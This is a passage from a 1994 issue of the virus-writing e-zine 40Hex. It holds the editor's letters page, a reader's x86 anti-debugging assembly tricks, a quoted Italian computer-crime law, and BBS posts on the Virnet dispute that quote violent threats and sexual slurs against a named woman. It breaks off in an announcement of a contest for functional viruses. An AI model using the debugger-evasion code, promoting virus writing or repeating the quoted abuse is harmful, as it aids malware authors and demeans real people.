40Hex Number 13 Volume 4 Issue 1 File 000 No, we are not dead. We are however insanely busy. This upcoming year will be a legendary year for P/S with regards to various programming projects. Can I tell you about them? Yes, but I won't. I will say that we will be contributing immensely to the virus community. Notice, I did not say Vx. Whenever I refer to the virus community, I am not refering specifically to virus writers, virus collectors or Vx BBS sysops. I am refering to everyone who has an interest in viruses. Whether its stopping them or making them. It may be a split community, but I still percieve it as ONE community. I am not going to ramble, I am not going to ramble... Anyway, enjoy the issue. If you like this magazine, please let us know. Email: fortyhex@phantom.com Snail Mail: ---------- 40Hex P.O. Box 252 New City, NY 10956 Table Of Contents ----------------- 40hex-13.000.............You're soaking in it! 40hex-13.001.............Letters To The Editor/Virus News 40hex-13.002.............Self Dis-Infecting .EXEs 40hex-13.003.............Removing Scan Strings From F-Prot 40hex-13.004.............Paul Fergusons Response to 40H12 40hex-13.005.............Mirror Virus Courtesy of TridenT 40hex-13.006.............Shifting Objective 3 Virus 40hex-13.007.............TiC's 40hex Index #1 40hex-13.008.............New Feature: This Old Virus. Greets going out to: Omega and all the TridenT guys, Nowhere Man and the [NuKE] people, The Attitude Adjuster, Spyder, GhostRider, Anyone and everyone who sent us mail, articles or viruses, and to all programmers around the world. Most important greets going out to all P/S members, keep up the great work. 40Hex Number 13 Volume 4 Issue 1 File 001 Welcome to the News and letters area. This file contains all the interesting tidbits of news and whatnot that readers have sent our way. Thanks a lot to everyone who contributed. ------------ I recently ftp'd all 12 of your issues and was browsing through them looking to see what you were about. I ran into a survey that was done on virus writing and it caused me to be a bit concerned. I've commented on the summary to that article attached below. [stuff deleted] >Firearms are restricted because they can be used to cause serious or fatal >injuries. No computer virus can be used to kill another person. However, no >gun actually KILLS another person. People kill people, the gun is simply an >instrument used. Maybe a knife would be a better comparison. Just becuase To my knowledge, no one has to date been killed by a virus. However, it is possible, and your presumption that no virus can be used to kill another person is invalid. As more and more computers are integrated into hospital settings, people's lives _depend_ on functional computers. A virus can easily cripple a vital computer system, causing severe problems in hospital operations and patient care which could ultimately lead to someone's death. Viruses in other critical machines could prove just as fateful. Imagine a virus in the computers of the space shuttle, or any of the machines on Earth used to make it go? More and more, people are putting there _lives_ in the hands of computers that they are trusting to work properly, by supporting virus writers you are directly encouraging people to make it so these vital computers don't function properly. The only reason I am on my soapbox about this is because I have currently come upon the situation where I am writing software that will be used in a hospital environment in such a way that if I were to do a poor job and have buggy code, peoples lives would be in jeopardy. For example, the paging system for the all of the ORs will be tied to the system I am working on. If someone has an OR emergency, they tell a computer in the OR, and an emergency page goes out. If the system goes down for _any_ reason, serious problems could arise. >murders are committed with knives, should we restrict them? OR ban them >outright? No, of course not. Same with viruses. Although they have the Knives serve a useful purpose....what useful purpose do viruses serve? >We in Phalcon/Skism all believe in the freedom of information, and the right >that each and every American has to his own opinions. Yes, we've written >viruses, and yes, we have no qualms about distributing virus code. (This >magazine is one good example) No one will be injured through our actions, >because we simply cranked out this 100% ascii text magazine. We don't spread >our creations intentionally. We do distribute them to those who want them, >and sometimes people do spread them. We cannot control the actions of >others. >Breaking the law is wrong. We don't break the law by programming. We don't >break the law by sharing code. Don't hold us responsible for those who use >our creations to break the law. After all, you wouldn't hold Smith and >Wesson >responsible for a crime committed using one of their firearms, would you? >No. >Nor would you hold GMC, Inc. responsible for a death caused by a drunk >driving I'd like to insert here that Einstein felt guilty about pioneering the science that led to the atomic bomb and ultimately killed thousands of Japanese. Why? Because something that _he_ did contributed to harming someone else. If _he_ had never taken certain actions, much harm would not have been inflicted on many people. Just because you don't distribute to _victims_ the viruses you write, you are partly responsible. The sole purpose of a virus is to do something to someone that they do not welcome. >one of their vehicles. They were not at fault for creating the vehicle. The >drunk was at fault for acting the way he did. Same goes for viruses, and virus >authors. Don't place the blame on the wrong party. There is a strong >difference between creation and abuse. >Next time you ponder the legality of virus writing, think about this. You >wouldn't want cars banned just because a few people don't handle them >responsibly. Attack the criminal, not the creator. And NEVER take away a >person's right to create. Since you seem to like analogies, what about the one from which viruses got there name? If a group of scientist were sitting in a lab creating new diseases and telling everyone how to do it easily, knowing that the disease would likely be created and cause many people to become ill..... Would they be responsible? > --DecimatoR > Phalcon/Skism Anyway, I'd be interested in hearing your comments. Whether you give a damn about other people or just don't feel at all responsible for your actions as long as you don't pull the trigger on the gun...... Regards, Chris Menegay cmenegay@cs.tamu.edu ------------ Editor's Response: I am going to keep this response pretty simple. Do you think that people who manufacture and distribute guns feel responsible for people who are murdered by their guns? I take full responsibility for my actions. If I sold flowers and someone bought one from me, and then crammed it down someone's throat and that person died, am I responsible? My intention wasn't to hurt anyone, but someone got hurt. Viruses are essentially my flowers. I don't intend for ANYONE to get hurt because of 40hex. I intend to share my hobby with others. No more, no less. ------------ I really appreciate your articles. I find the articles on non-debugable code very interesting. I developed some of my own. I used the lock command. 17F1:0100 B90601 MOV CX,0106 ; setup for the jmp cx command 17F1:0103 0C00 OR AL,00 ; bugus commands whose values are ; used for adding to cx. this is ; added if no debugger. 17F1:0105 1B00 SBB AX,[BX+SI] ; this bogus command is what is ; added to cx if a debugger is used 17F1:0107 F0 LOCK ; what makes it all happen 17F1:0108 89E5 MOV BP,SP ; get the stack 17F1:010A 8B7EFA MOV DI,[BP-06] ; look at offset of return ip value ; (di=010a if debugging else ; di=0108) 17F1:010D 034DFB ADD CX,[DI-05] ; add the appropriate bogus command ; to cx that is shown above 17F1:0110 FFE1 JMP CX ; go where no man has gone before 17F1:0112 E2EF LOOP 0103 ; this is the address of where the ; first jmp cx goes to if there 17F1:0114 90 NOP ; is no debugger. other 17F1:0115 90 NOP ; modifications to cx can be done 17F1:0116 90 NOP ; here but i just decremented cx 17F1:0117 90 NOP ; and jumped back to the start to do 17F1:0118 90 NOP ; it again 17F1:0119 90 NOP 17F1:011A 90 NOP 17F1:011B 90 NOP 17F1:011C 90 NOP 17F1:011D 75E4 JNZ 0103 ; this is where jmp cx goes to on ; the second go around without a 17F1:011F 90 NOP ; debugger. i thought i would send 17F1:0120 90 NOP ; it back for a third time. 17F1:0121 EBDD JMP 0100 ; this is where jmp cx goes to if ; there is a debugger running 17F1:0123 90 NOP ; captain kirk, scottie here, were 17F1:0124 90 NOP ; stuck in a continuous feedback 17F1:0125 90 NOP ; loop. 17F1:0126 90 NOP ; i don't think i can maintain this 17F1:0126 90 NOP ; much longer. 17F1:0127 90 NOP 17F1:0128 90 NOP 17F1:0129 B8070E MOV AX,0E07 ; this is where the jmp cx goes on ; the third time around 17F1:012C CD10 INT 10 ; lets do a beep for the folks back ; home 17F1:012E B8004C MOV AX,4C00 ; that's all folks. 17F1:0131 CD21 INT 21 the same sort of thing could be done to get the relative offset with the hlt command. again debuggers will get it wrong 17F1:0100 EB04 JMP 0106 ; deja vu 17F1:0102 31C0 XOR AX,AX ; dummy program 17F1:0104 CD21 INT 21 ; bye 17F1:0106 F0 HLT ; halt that processor 17F1:0107 89E5 MOV BP,SP ; lookie at our stack data 17F1:0109 8B6EFA MOV BP,[BP-06] ; and suck off the returned ip 17F1:010C 83ED07 SUB BP,+07 ; for people who can't figure out ; how to adjust this value ; out of their displacement Sincerely, "Q" the misanthrope. ------------ As of today, another country has provisions against computer viruses in its legislation: Italy. A "Computer Crime Act" has been approved by the Italian Parliament last December 14th. These are its data: LEGGE 23 dicembre 1993, n. 547 (Gazzetta Ufficiale 30-12-1993, n. 305) (Law no. 547 passed Dec 23, 1993 - Published on the Official Journal no. 305 of Dec 30, 1993) The new act addresses various issues, including: . Damages caused to computers and telecommunication systems; . Unauthorized access; . Possession and unauthorized diffusion of access codes; . Spreading of malicious code; . Computer fraud; . Wiretapping of data communications; . Etc. I'm not a lawyer, so I can't translate the whole act - I can only volounteer to e-mail a full copy in Italian to those interested (it's around 22KB). However, I have enclosed a tentative translation of the article dealing with "Computer Viruses", as well as the original text. If you find the translation inaccurate or plain wrong, feel free to correct it. Luca Parisi - Rome, Italy. **Unofficial translation of Penal Code, art. 615.5** "Article 615-quinquies of the Penal Code (Spreading of programs aimed at damaging or interrupting a computer system). Anyone who spreads, transmits or delivers a computer program, whether written by himself or by someone else, aimed at or having the effect of damaging a computer or telecommunication system, the programs or data contained in or pertaining to it, or interrupting in full or in part or disrupting its operation is punished with the imprisonment for a term of up to two years and a fine of up to It. L. 20,000,000." **Original Text, as in referenced act** "Art. 615-quinquies. - (Diffusione di programmi diretti a danneggiare o interrompere un sistema informatico). - Chiunque diffonde, comunica o consegna un programma informatico da lui stesso o da altri redatto, avente per scopo o per effetto il danneggiamento di un sistema informatico o telematico, dei dati o dei programmi in esso contenuti o ad esso pertinenti, ovvero l'interruzione, totale o parziale, o l'alterazione del suo funzionamento, e' punito con la reclusione sino a due anni e con la multa sino a lire venti milioni." ------ End of Forwarded Article News article: Pamela Trexler aka Tiphoid Mary vs. Virnet Summary: Allegedly, Tiphoid was removed from Virnet, when it was exposed that she was a NuKE member, and the "virus underground" had access to top secret elite information. Now, the removal is one thing, but Tiphoid and others claim that someone in the Virnet Hierarchy allegedly did a full background check on her, and supposedly even did a credit check. Keywords: virnet tiphoid peoplewhohavetoomuchtimeontheirhands heroine From : MICHAEL PARIS Number : 422 To : ALL Ref.# : 0 Subj. : Virnet 1 of 4 Conf : Virus-Info Date : 04-30-94 Time : 17:46 [305/313] V I R N E T U S A T h e F a c t s As I Know Them First Hand From A Virnet Hierarchy By Michael Paris. C.R.I.S (Computer Research & Information Service) 04/29/94 Part #1 Ethics ---------------- First I must say that it pains me to write this. I have had nothing but respect for virnet and the people I have know in it. But with certain info I have become aware of I feel it is my duty as a part of the human race to make these facts known. I will separate this info into two parts, The first being the morality of virnet hierarchies and the second in being facts on their hidden background checks they have done on some of their members. To start with I have turned in my node address for virnet for the reasons you will see in this open letter, I do not care to continue to receive the virnet echo anymore and feel that there is some things you should be made aware of. 1. A quick look through the virnet nodelist will tell you that there are many people connected to this echo. Why? (Not sure to tell you the truth). It seems that for the topic of viruses there is not much said. I have wasted space on my drive and time polling and sorting through the mail for a few announcements of files and welcomes, no real info, just some meaningless messages on percentages of echo feeds etc. This has changed a bit here in the US when they added the "movies" echo, but this is not what I was looking for, if I wanted to talk about movies I would get it from fido or usenet mail. 2. The hierarchies of the net seem not to know much about viruses. I will say that the people I have talked to do not even know what a virus is! (no fun here) this is true. Log on to your favorite virnet hub or node (even the hierarchies systems) ask them what polymorphic, spawning, stealth, etc, is and they will not know. (this of course is not all systems, but I will guarantee that it is the most of them, and definitely the hierarchies in virnet). 3. Lies, deceit, and morals. It seems that from the people I have talked to they are no different from the people they talk against. Most people know about their friend John, This man was accused of being vulgar to the extremes, he is shunned for speaking very obscene about female members of virnet, as well as his aditude that just shows he is unbalanced in the mind. Well it seems I have found the same here in the virnet hierarchies, talking to the people I have made me sick to my stomach and reminded me of the talks I had with such unbalanced people as I did before. It made me sick to see the hate expressed and the way it came out. Talking compleatly about another topic would always bring us back to the slander and foul language I did not want to take part in. As for the lies and deceit we will get into that a bit more in this letter. But as I have witnessed the hierarchies would tell me one thing (I know was truth) and cover the facts to the person it was about to avoid public embarrassment. Below you will find an actual conversation between me and A person in the virnet hierarchy. THIS IS -NOT- A NODE OR HUB speaking for virnet, it is someone in the hierarchy of virnet in a decision making level! [Narrator] The names were taken out to protect the guilty! This starts where this virnet hierarchy is talking about tring to totaly get rid of an ex-virnet member that was found out to be a nuke member getting the virnet echos. It makes me think why all the bull shit seeing there is nothing really in the net to protect in the first place but here is goes. [Virnet Hierarchy] "and now all we need to do is get rid of ahh, [nukemember], or I don't know I guess i'm gona have to get a few good minds together and create some kind of document to finally put this to a final statement ehhm" [Cris Staff Member] "well the biggest thing she has right know but she does not have any proof of," [Virnet Hierarchy] "Uh hu" [Cris Staff Member] "is when you told here about the credit and legal check that was done on her, She does not have any proof of it but" [Narrator] Cris Staff Member was interrupted [Virnet Hierarchy] "I told her my dick was twelve inches long she didn't talk about that!" [Cris Staff Member] "I don't think that would matter much" [Virnet Hierarchy] "why wouldn't that, ya she's so fat it wouldn't even phase her, 320 lbs. this girl is, I'd have to have a dick that was like god damm A baseball bat." [Cris Staff Member] "ok we won't get into that" [Narrator] Continued .. --- GEcho 1.01+ * Origin: Computer Virus Research/Info Service 708-863-5285 (1:115/863) From : MICHAEL PARIS Number : 423 To : ALL Ref.# : 0 Subj. : Virnet 2 of 4 Conf : Virus-Info Date : 04-30-94 Time : 17:47 [306/313] So the Cris Staff Member does not want to hear this garbage, Mr. Virnet hierarchy goes on to talk about a previous Virnet hierarchy that he was told was just as bad as this nuke member, because he was told that virnet messages or files were being passed to the virus groups through that person. Then he admits here and many other times in this talk that he would rather join Crisnet and leave virnet. It might seem like a great prize to get someone with this position into Cris but, we take pride in having 'honest' and 'sincere' non slandering people in Cris. Every person I have talked to on this matter that knows him has got the same impression of him and it would not help Cris in the long run. He offered to bring more then half of virnet with him into Cris, but again it would not be worth it in the long run. (one bad apple theory) [Virnet Hierarchy] "I heard that [old virnet hierarchy] was filtering virnet stuff to nukenet." [Cris Staff Member] "ya," [Virnet Hierarchy] "so now, you know, I mean, what's true, what's false, that's why I would rather then there being such distinct lines I would rather go in the middle with someone like you." "what I would love to do is leave my wife, turn out to be just, a bum, and so I can go, and knock some sense into all of these that are sitting back causing heck, AND PUT A COUPLE BULLETS IN THEIR BRAINS! MAKE THEM SUFFER FIRST THOUGH! Because this is just to much bullshit! Did you read the initial letter I wrote to [NukeMember]?" "I've just been praying for someone to come over here or call, I put my number out there, I am praying for all of these TUFF, BAD, LILY WHITE MOTHER FUCKERS TO COME OVER HERE!" "I would LOVE, to see them come over here!" [Narrator] Some time passed by and they get on the topic of that nuke member again, The Virnet Hierarchy thinks that the Cris staff member is going to spill the beans and will not fully admit to him about a certain matter. So he continues... [Virnet Hierarchy] "how do i tell you that this is a virnet policy situation among hosts, consequently, it would be against policy for me to go taking things any further with anyone but a host or higher, how does that sound?" [Cris Staff Member] "ok, last time when we talked you had shared with me that you had resources available and that you HAD done a background and legal check on [nukemember]" [Virnet Hierarchy] "It really doesn't matt...ok number one it really does not effect Cris Admin, ok, it really doesn't matter what we are doing! If I was getting ready to get on a plane to fly out there and blow here brains out does it matter?" [Cris Staff Member] "that would" [Virnet Hierarchy] "would you tell her?" [Cris Staff Member] "ya" [Virnet Hierarchy] "so with that in mind, why should I say anything? your showing partiality to her!" [Cris Staff Member] "A persons life is a whole other story, for someone to fly out to blow someone's brains out, that person would be short in the head or something, so that is a whole different scenario" [Virnet Hierarchy] "Well she needs somebody to, [pause] she needs to sit in jail and have some BIG BLACK WOMAN, [pause] STICK A BROOM HANDLE UP HER CUNT!" [pause] "and hopefully the broom handle will have slivers, maybe it will excite her! BIG FAT GREASY BITCH!" [Narrator] This is all going to far at this point, the slander against someone he hardly knows and his vulgar tongue is working overtime, now he goes on to defend the issue of looking into peoples personal background. (meaning credit and legal checks) [Virnet Hierarchy] "Does it matter if I said I was going to hire an investigator to do checks on every person in virnet?" [Cris Staff Member] "well, you should not have told her though, you should have never said anything to her" [Virnet Hierarchy] "it's right in the papers, that four people, BEFORE SHE JOINED, THAT DIRTY UGLY SLUT SHOULD LEARN HOW TO READ! its right in the papers that four people will have access to your information, the REC, the applications coordinator, Mr. Michael Larson, and she put up such a bitch about him having information on her, and if need be, and INVESTIGATOR! [pause] IT SAY'S THAT IN THE PAPER WORK!" [Cris Staff Member] "hum" [Virnet Hierarchy] "what ever she does in life, if she gets stopped for a traffic violation, the whores going to get stopped and checked for everything that she's ever done!" Continued ... --- GEcho 1.01+ * Origin: Computer Virus Research/Info Service 708-863-5285 (1:115/863) From : MICHAEL PARIS Number : 424 To : ALL Ref.# : 0 Subj. : Virnet 3 of 4 Conf : Virus-Info Date : 04-30-94 Time : 17:47 [307/313] [Narrator] This goes on, and there is much more slander about named virus writers, virus writers in general, groups, etc. But this is here so you can understand why I feel that virnet has it's problems and I want no part in it. Part #2 Virnet Background Checks --------------------------------- Next lets touch the area of background checks. Did you know that this [Virnet Hierarchy] believes that they (if they feel the need) believe they can check you out in ANY WAY they want? This includes LEGAL, CREDIT, PERSONAL, ETC... this virnet hierarchy told me that it has always been done this way. People did not know it, but the previous hierarchies did this as well. THIS WAS TOLD ME BY THIS VIRNET HIERARCHY! They feel that the words in the application that you fill out where it says about your info on the application, that "if need be, and investigator" will see it, means that they can find a private investigator or friend of their's to look into your LEGAL and PERSONAL background and DIG UP any info they can find on you! This hierarchy feels that there is no forgiveness or excuses for mistakes, if you have a bad credit background it shows you are "unstable" and not fit for the net! If you were an X-Convict and paid your debt to society, you will do it again and could be a bad egg in the net, so you should not be allowed in the net! [Narrator] So what we will see here is where the common fact of him telling me that he had someone do these checks on this virnet node is not disputed, but rather EVERY TIME I bring it up he changes the subject until it comes to the point where after hours I confront him and corner him on the issue and he spills the beans. [Cris Staff Member] "I guess the main thing she was talking about was the virnet checks, you know that they checked into her credit" [Narrator] ---> Interrupted by Virnet Hierarchy and changes the topic. [Virnet Hierarchy] "I will not divulge information on my life, whether I am getting along with my wife or not, or whether my penis is shriveled up or not.." [Narrator] So he goes on and on to keep away from the issue. [Cris staff Member] "Well you did do a check on her right? " [Virnet Hierarchy] "huh?" [Cris Staff Member] "I remember you telling me about this" [Narrator] ----> Interrupted again and changes the topic. [Virnet Hierarchy] "Hold on a minute I am reading a letter" [Narrator] ----> after a few minutes of reading he never comes back to answer. [Cris Staff Member] "well the biggest thing she has right know but she does not have any proof of," [Virnet Hierarchy] "Uh hu" [Cris Staff Member] "is when you told here about the credit and legal check that was done on her, She does not have any proof of it but" [Narrator] Cris Staff Member interrupted [Virnet Hierarchy] "I told her my dick was twelve inches long she didn't talk about that!" [Cris Staff Member] "I don't think that would matter much" [Virnet Hierarchy] "why wouldn't that, ya she's so fat it wouldn't even phase her, 320 lbs. this girl is, I'd have to have a dick that was like god damm A baseball bat." [Narrator] So we see once again he changes the topic! [Cris staff Member] "Well the main thing she's got is the fact of the legal and background checks, but she does not have any proof at all, there is nothing in writing that she can pull up, just that one instance of you informing her that it was done on her." [Narrator] Again this goes on, no comment on what was said, just A change of topic. This goes on many times, at least 12 other times where he evades the issue until he is cornered on it! [Virnet Hierarchy] "Does it matter if I said I was going to hire an investigator to do checks on every person in virnet?" [Cris Staff Member] "well, you should not have told here though, you should have never said anything to her" [Virnet Hierarchy] "it's right in the papers, that four people, BEFORE SHE JOINED, THAT DIRTY UGLY SLUT SHOULD LEARN HOW TO READ! its right in the papers that four people will have access to your information, the REC, the applications coordinator, Mr. Michael Larson, and she put up such a bitch about him having information on her, and if need be, and INVESTIGATOR! [pause] IT SAY'S THAT IN THE PAPER WORK!" [Cris Staff Member] "hum" Continued ... --- GEcho 1.01+ * Origin: Computer Virus Research/Info Service 708-863-5285 (1:115/863) From : MICHAEL PARIS Number : 425 To : ALL Ref.# : 0 Subj. : Virnet 4 of 4 Conf : Virus-Info Date : 04-30-94 Time : 17:48 [308/313] [Virnet Hierarchy] "what ever she does in life, if she gets stopped for a traffic violation, the whores going to get stopped and checked for everything that she's ever done! [Cris Staff Member] "I have to be honest with you here ... I see mail nets as a hobby, I would not want a net to be looking into my legal and credit information. I am sure you feel the same way!" [Virnet Hierarchy] "Your ABSOLUTELY wrong!" [Cris Staff Member] "Tell me why I am wrong" [Virnet Hierarchy] "Everything we do in life, everything we do we get checked! When you go for a job, you get checked, you sign a paper, maybe you haven't but I have signed many of papers that said [changes idea] No matter what you do, if you drive, no matter what you do in life, driving can be a hobby, but your going to get checked! " "Let me give you a beautiful example, she better not ever go to LA. california, they send police officers on the street, and they just stop people at will, and they run a check on them!" [Cris Staff Member] "But we are talking about a net here, ok you feel this way because it's an anti-virus net or if it was any net?" [Virnet Hierarchy] "ANY NET! A N Y N E T!, when you join an organization they have every right to check up on you because you are becoming part of a team. and maybe there is someone that don't want as part of that team." [Cris Staff Member] "Well I know there is allot of people that may have claimed a bankruptcy in their past, or maybe they are an x-convict, they spent time for a certain crime, but they paid their dept to society. So if that shows up they are going to be kicked out of the net? What virnet does it it's own business, I don't want to argue, but" [interrupted] [Virnet Hierarchy] "She was offered to resign! did she resign? she makes it look like she quit the virnet! in fact all hells going to break loose when I resign, I'm going to resign. Everybody's going down!" [Narrator] This still goes on quite a bit, talking about many different topics such as law, how you should not make mistakes and if you do you should go to jail for them, how viruses should be against the law and people that write them should be locked up, many virus writers are mentioned and slandered, but then on the topic of prostitutes, they are ok! and other law breakers are not as bad as virus writers. I told him that I resign my node number for virnet, and he asked me to please wait until this all blows over, but I could not wait for this all to come out in the open, so I just left my node number with him. Also I have a number of hole cards ready to come out on Mr. Virnet Hierarchy in case the same kind of slander comes this way. Here is A post that also shows support in this issue: * Original Area:NETMAIL * Original From: David Schepper (1:114/150) * Original To : Pam Trexler (1:15/20) > I would be interested to know how this turns out for > you and Steve. Virnet > is a great disappointment to me all the way round. Well, I got a call from Mr. Nuemann (spelling?) last night, and we spent about two hours on the phone, during which time he told me things about you (the same things that you had already told me), and we got into a discussion about having virus writers in the net. I told him that, yes, there should be SOME screening, but that the net would be better served if they had at least SOME opposing information allowed access, but he disagreed. I might have been willing to stay in the net, had he not basically confirmed your statements about background checks. He said that they DO hire Private Investigators to look into the backgrounds of "questionable" people. At that point, I told him that I believed that they had overstepped the bounds of ANY network, and that what they are doing may indeed be illegal. I also told him that my privacy and integrity were MUCH more important to me than ANY net, and could no longer afford to be associated with their net. Anyway, to make a long story short, I am no longer associated with VirNet, and their communistic approach to what is STILL basically a hobby. Dave C.R.I.S (Computer Research & Information Service) --- GEcho 1.01+ * Origin: Computer Virus Research/Info Service 708-863-5285 (1:115/863) From : MATT MILLER Number : 426 To : BILL DIRKS Ref.# : 0 Subj. : Virnet 1/3 Conf : Virus-Info Date : 04-30-94 Time : 19:16 [309/313] This is gonna be a long post folks... I suggest you get a pepsi/beer/glass of your favorite beverage, and a sandwich or something before you continue. If you don't like long posts I suggest you move to the next thread. BD>Pam Trexler wrote a misleading article and here's a sort of rebutal. BD> Remember, Virnet is a fairly selective and secure network. Untampered >untainted files (hatched files are received directly from the authors) are >standard along with membership exclusively for those with antivirus interes >(not those trying to help the virus writing community). Naturally, virus >writers and those that help them are excluded. Also, Virnet policy states >Virnet information will not be given or passed to non-Virnet nodes. Further >in joining Virnet, you agree to the above. ---------------------------------------------------------------------------- > Individual regions can further put >additional restrictions on membership (which is the case in North America). Bill, Does this include the signing of any form(s) allowing Virnet personnel the right to access one's personal records? I think not. I also know that in most states it is illegal to obtain such information without explicit written consent. Do you or Mr. Neuman have Ms. Trexlers signature on any form(s) authorizing this type of invasion of privacy? I thought not... >Virnet also prides itself on the fact that most of their information doesn' >make it to the virus writing community for their use. If someone is found >doing this, they are dismissed as was your case since you were in violation >virtually all policies in place.. OK, so you have someone in your network that you want out. Is it really necessary to obtain personal information on them? Couldn't you just politely inform them of their removal from the net? BD> PT> Do you know that when you join Virnet that the > PT> coordinators of that network are performing personal > PT> background checks on their members? BD> Untrue. Nothing except a cursury check is done. e.g. are you known to >part of a virus writing group or are you known for writing or spreading >viruses, etc. ------------------------------------------------------------------------- >Here in the US at present, this is determined by the >applications coordinator from information he has on hand, NOT from a >background check. Hmmm... seems to me that you contradict yourself in the next sentance. ____________________________________________________________________ >Unfortunately, you forced yourself to become the one and >only exception to the rule to date (>3 years). ____________________________________________________________________ **** In the above sentance Bill admits that Virnet did the **** background/credit check. Remember this when you read his other **** posts saying they didn't. Bill, kindly explain to me how someone can force Virnet to do a background check on them. I really don't understand your angle here. She didn't force Virnet / Mr. Neuman to do anything. He chose to do it. That is irrefutable FACT. If you don't want someone in your net you remove them, you do not go snooping into their background. (unless you are the Virnet applications co-ordinator looking for dirt on people you dislike...) **** Note for those that made it this far: Information to back up the above statement should reach you in the same mail packet as this post. If not it will surely be in the next. BD> PT> Do you know they are pulling credit records and legal records on > PT> their nodes? BD> This was a one time incident limited to yourself, and forced by yourse C'mon now Bill, she didn't force anyone to do any kind of background/credit check. You are attempting to smooth over what they did. >. Because of the various lies and deceit on your part, it was virtally >impossible without resorting to extraordinary means to determine what was f >and what was fiction coming from you. If Virnet knew of these alleged "lies and deceit" then again I ask you "Why didn't they just remove her from the net?" Why go through all the trouble of obtaining the aforementioned checks? >This info was used as a tool to ferret >out a leak in the network. It was used "after" you seemed to be the leak bu >used for confirmation. This is obvious by the amount of time it took to >confirm you were the originating US link of Virnet info to the virus writin >community (> 1 yr). (Continued to next message) QMPro 1.50 03-4821 Blah.......... --- GEcho 1.01+ * Origin: Computer Virus Research/Info Service 708-863-5285 (1:115/863) From : MATT MILLER Number : 427 To : BILL DIRKS Ref.# : 0 Subj. : Virnet 2/3 Conf : Virus-Info Date : 04-30-94 Time : 19:16 [310/313] (Continued from previous message) Personal comment mode on: Bill, I hate to be the bearer of bad news, but Virnet stinks, the net is stale and boring and contains no information any virus writer (or most any bipedal lifeform) would consider valuable. mode off. >Three people have this info and you are aware of who they >are (meets most the legal requirements for disclosure since you are the one >who provided the information to enable verification of information you >withheld). From my understanding, you are upset basically over the fact tha >this info helped verify you were part of the virus writing community. This is FUD (f-cked up drivel) dreamed up by Mr. Neuman to try and cover their proverbial ass should litigation be forthcoming. BD> PT> They didn't tell me they would pull my credit record. > PT> They never informed me that they would check my legal > PT> record. There is nothing > PT> in those that I am ashamed of, but do they have the right to do this > PT> WITHOUT THE KNOWLEDGE OF THE NODE? Why would Virnet need to know abou > PT> my credit background? Why should Virnet need to know > PT> if I have a speeding ticket or anything else? BD> No, but then again, you are the one who forced them into a corner with >your lies. You were in the net over a year before anything was done. You ar >the one who cast doubt as to who you are or are not. This information was u >for verification and informational purposes only. "NONE" of it has or will >published unless you chose to do so.... e.g. no one has published your vari >AKAs that you use among other things. e.g. you published your real name her >instead of an AKA which is the norm of your friends. Yet more FUD... Again I ask you to tell me how she "forced" anyone to do anything? So what if you haven't published it publicly... it is still illegal in most areas to obtain such information without written consent. > Let me put this in a better prospective for everyone! I am a computer >consultant. I reserve the right to reject prospective clients depending upo >many factors. I can make this determination based upon information they >readily provide me. I "may" depending upon the circumstances use what they >have provided to do credit checks, "rap-sheets", etc., to PROTECT myself. T >is based upon something legally called "Implied Consent". I did not need th >permission to perform these checks as you imply. It is 100% legal in most >cases. The Virnet administration simply applied the "Implied Consent" rule >protect themselves. Nothing more, nothing less. Please understand, you were >the one that consented to Virnet's rules and broke them. Trying to rationalize it away... The above is pure cr-p. You are attempting to say that just by accepting a position in Virnet she "implied consent" for checks into her personal and legal records? B-S! ***** Potential Virnet sysops should reread the above paragraph 15 times, after doing so if you still choose to join Virnet, you should consider professional counselling. BD> PT> Running a BBS is a hobby, not a business. My feeling > PT> about this is that they do not have the right to invade > PT> my privacy in order to run a network. Especially > PT> without my knowledge. BD> You ported Virnet info to the virus writing community without telling >them which was against their rules. Granted, two wrongs don't make a right >it seems you are upset about them doing the same thing you were, going behi >your back. Doesn't feel to well does it when you break a trust......... In the above para. Bill admits what they did was wrong. Very strange indeed after all the FUD he spewed trying to rationalize it away don't you think? Yet AGAIN I ask why she wasn't just removed from the net? BD> PT> How would you feel to learn that your legal records are being passed > PT> overseas because you were interested in reading and participating in > PT> an anti-virus network. BD> They were passed overseas to the Virnet International Coordinator. I'm >sure this and other info helped in verifying your excommunication from the >net. It'll also help so you don't go and get an overseas feed into the net >corrupt it. I do know that you have not appealed to the IC over this matter >even though it was suggested to you. I know most normal people who are >innocent of something wouldn't pass up a chance to prove their innocence to >the "final" deciding authority. Why haven't you?? Excommunication? You make Virnet sound like some type of deviant religion. If one is excommunicated from a religion no-one is allowed to speak to them at all, yet here you are spewing more and more FUD trying to smooth it over... Even if she did do all the things you/Virnet accuse her of it still does not justify the invasion of privacy perpetrated by Virnet / Mr. Neuman. BD> PT> I don't want any part of Virnet and these personal investigations. I > PT> am glad I am no longer a member. (Continued to next message) QMPro 1.50 03-4821 Blah.......... --- GEcho 1.01+ * Origin: Computer Virus Research/Info Service 708-863-5285 (1:115/863) From : MATT MILLER Number : 428 To : BILL DIRKS Ref.# : 0 Subj. : Virnet 3/3 Conf : Virus-Info Date : 04-30-94 Time : 19:17 [311/313] (Continued from previous message) BD> They are also glad you are now not a member to pass on Virnet >information to the virus writing community 8-)). Remember, YOU are the one >that forced the investigation! There's that word "FORCED" again... This is a hobby people... if people are not following the rules of your little group you ask them to leave. You do not invade their privacy and then attempt to say they "forced" you to do it. Anyone thinking of joining Virnet in any capacity should continue to follow this thread as I can assure you it will get much more entertaining here shortly. >Bill Dirks BD>--- Maximus 2.01wb > * Origin: Safe Hex Central (405)248-0528 Lawton,OK (1:385/17) QMPro 1.50 03-4821 Blah.......... --- GEcho 1.01+ * Origin: Computer Virus Research/Info Service 708-863-5285 (1:115/863) ************************************************************* Announcing The Second International Virus Writing Contest Sponsored by American Eagle Publications, Inc. P.O. Box 41401 Tucson, AZ 85717 USA and The Crypt Infosystems BBS +1 (818) 683-0854 *** The Goal *** The purpose of this contest is to write a fully functional computer virus that entertains people with political satire. Viruses will be judged on the basis of originality, creativity, functionality, and political incorrectness. *** Eligibility *** Anyone who can write a computer virus is eligible. *** Contest Dates *** The contest is underway from January 1, 1994 until June 30, 1994. Your submissions must be received by June 30 to qualify. The winner of the contest will be announced at the DEFCON conference in Las Vegas, July 22-24, 1994. If you can be present, an official award will be bestowed on you at that time. ************************************************************* Details ************************************************************* The philosopher Friedrik Nietzsche once said that if you want to kill something, you must laugh at it--and laugh at it deeply. So there should be little wonder that political satire is as old as politics itself. Is there something going on in the political arena that you abhor, that makes you sick, that is just plain wrong? Well, here's your chance to make a mockery of it. I've always had this idea that if someone wrote a sufficiently witty virus that really addressed the issues the way the people (not the press, not the politicians) saw them, it might just get passed around by people voluntarily. Let's find out. Write a virus that is itself a political satire. I don't mean a virus that simply displays a message. I mean a living entity whose 